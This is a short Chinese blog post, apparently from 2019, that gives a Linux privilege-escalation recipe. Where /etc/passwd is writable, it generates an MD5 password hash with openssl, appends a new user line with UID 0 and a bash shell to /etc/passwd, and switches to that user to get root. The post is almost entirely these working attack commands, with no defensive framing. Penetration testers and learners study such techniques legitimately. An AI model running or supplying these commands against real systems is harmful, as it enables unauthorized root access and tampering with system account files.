Linux passwd 提权

利用条件,passwd 可写

ls -al /etc/passwd

利用方式:

生成密钥

 openssl passwd -1 -salt test 123456

  

写入passwd

echo 'test:密钥:0:0::/root:/bin/bash' >> /etc/passwd
su test

  

posted @ 2019-10-11 16:55  Junsec  阅读(717)  评论(0编辑  收藏  举报